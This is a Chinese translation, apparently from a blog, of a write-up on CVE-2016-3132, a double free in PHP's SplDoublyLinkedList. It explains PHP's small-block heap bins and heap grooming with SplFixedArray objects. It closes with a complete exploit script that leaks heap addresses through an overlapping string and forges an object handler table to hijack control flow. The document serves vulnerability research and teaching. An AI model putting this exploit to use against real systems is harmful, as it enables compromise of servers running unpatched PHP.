Silver

不要向邪恶低头,而是要更勇敢地继续与之对抗。
——维吉尔

技术文章翻译:PHP标准库中某双链表结构存在双重释放问题(CVE-2016-3132)

Last updated:May.12, 2016 CST 20:27:05

原文:http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist
原作者:Emmanuel Law

引子

最近在PHP标准库中(Standard PHP Library, SPL)发现了一个双重释放漏洞。在写exp的时候,找了找PHP内部对堆的管理方式,但是没找到太多。这篇博客旨在和大家分析一些如何在PHP下利用Double free的人生经验。

根源分析

问题函数是SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval ),当传递一个无效的参数时,即可触发漏洞。例如:

<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime 会被释放两次

来看一下细节。当一个无效的下标传入的时候,在第833行,DateTiem对象被第一次释放:

 832    if (index < 0 || index >= intern->llist->count) {
 833         zval_ptr_dtor(value);
 834         zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0);
 835         return;
 836    }

另外一个释放点在Zend/zend_vm_execute.h:855,在清理调用栈时,有:

EG(current_execute_data) = call->prev_execute_data;
zend_vm_stack_free_args(call);

PHP内部的堆管理

在PHP内部,当调用像ealloc()的函数分配内存的时候,根据请求大小的不同,分为三类:

为了利用这个洞,需要看一下小堆块的分配和释放流程。小堆块的分配流程,会把每个内存块根据其大小分入不同的桶(Bin)中,如:

而PHP内部用efree()之类的函数释放内存的时候,如果内存块被小堆块分配器处理的话,内存不会被返回给系统,而是被缓存下来,并放在合适的Bin中。这个Bin是个单链表,把该Bin中的所有块连在一起。每个块的前几个字节是该块的头部,含有指向下一个块的指针。如图所示。

Bin Linklist

(译者注:为什么这么像ptmalloc的fastalloc啊,到底是做了多少次了啊)

具体的利用方法

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range
(致命错误:未捕获的溢出异常:偏移值无效或超限)

发生了这种错误后,PHP会立刻退出,这样,在Double Free后,我们无法在用户空间运行任何程序了。因此,为了调这个漏洞,我们需要卡住这个错误,然后让PHP在双重释放后不立刻退出。用set_exception_handler()就可以搞定。

for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}

unset($z[50]);

我们分配然后释放了第50个SplFixedArray。这样,在这片内存里就制造了一个空洞,如下图:

Big hole

然后立刻实例化一个SplFixedArray,这个对象正好会被放到那个空洞里。然后触发:

<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new SplFixedArray);

这些操作都是为了我能拿到一个可控的内存结构,并保证双重释放也发生在这个地方。在第一个free之后,内存布局如下:

After first free

第二次free后,如下:

After second free

<?php
$s=str_repeat('C',0x48);
$t=new mySpecialSplFixedArray(5);

class mySpecialSplFixedArray extends SplFixedArray{
   public function offsetUnset($offset) {
         parent::offsetUnset($offset);
    }
}

这里我们分配了一个字符串(第二行),和一个mySpecialSplFixedArray(第三行),他们占用了同一个地点,也就是原来的第50个SplFixedArray
第三行那里,mySpecialSplFixedArray继承了SplFixedArray,但是复写了offsetUnset方法。看一下PHP中StringSplFixedArray的结构:
Compare it!
- 第一次用$s=str_repeat('C',0x48)分配字符串的时候,zend_string.len的值是0x48
- 然后,如果分配一个SplFixArray(),由于fptr_offset_set默认值为0,且其和之前的String占有一块内存,因此zend_string.len被改为0。
- 但是,我们覆写了offsetUnset(),因此fptr_offset_set会含有内存中某个用户定义函数的地址,这个地址肯定比0x48大。同样的,zend_string.len也会被覆盖为这个函数地址。那么PHP认为我们有一个很大很大的字符串。

下面是完整的利用代码:

<?php
// #######   HELPER Function ##############
function read_ptr(&$mystring,$index=0,$little_endian=1){

return hexdec(dechex(ord($mystring[$index+7])) .dechex(ord($mystring[$index+6])) . dechex(ord($mystring[$index+5])).dechex(ord($mystring[$index+4])).dechex(ord($mystring[$index+3])).dechex(ord($mystring[$index+2])). dechex(ord($mystring[$index+1])).dechex(ord($mystring[$index+0])));

}
function write_ptr(&$mystring,$value,$index=0,$little_endian=1){
//$value=dechex($value);
$mystring[$index]=chr($value&0xFF);
$mystring[$index+1]=chr(($value>>8)&0xFF);
$mystring[$index+2]=chr(($value>>16)&0xFF);
$mystring[$index+3]=chr(($value>>24)&0xFF);
$mystring[$index+4]=chr(($value>>32)&0xFF);
$mystring[$index+5]=chr(($value>>40)&0xFF);
$mystring[$index+6]=chr(($value>>48)&0xFF);
$mystring[$index+7]=chr(($value>>56)&0xFF);

}

// ####### Exploit Start #######

class SplFixedArray2 extends SplFixedArray{
public function offsetSet($offset, $value) {}
public function Count() {echo "!!!!######!#!#!#COUNT##!#!#!#!#";}
public function offsetUnset($offset) {
parent::offsetUnset($offset);
}
}

function exception_handler($exception) {
global $z;
$s=str_repeat('C',0x48);
$t=new SplFixedArray2(5);
$t[0]='Z';

unset($z[22]);
unset($z[21]);

$heap_addr=read_ptr($s,0x58);
print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; 
$heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;
print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
//Set Handlers
write_ptr($s,$heap_addr_of_fake_handler,0x40);
//Set fake handler

write_ptr($s,0x40,0x300); //handler.offset
write_ptr($s,0x4141414141414141,0x308); //handler.free_obj
write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj
str_repeat('z',5);
unset($t);  //BOOM!
}

set_exception_handler('exception_handler');
$var_1=new SplStack();
$z=array();

//Heap management
for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}


unset($z[20]);
$var_1->offsetSet(0,new SplFixedArray);

Contact webmaster at:
[email protected]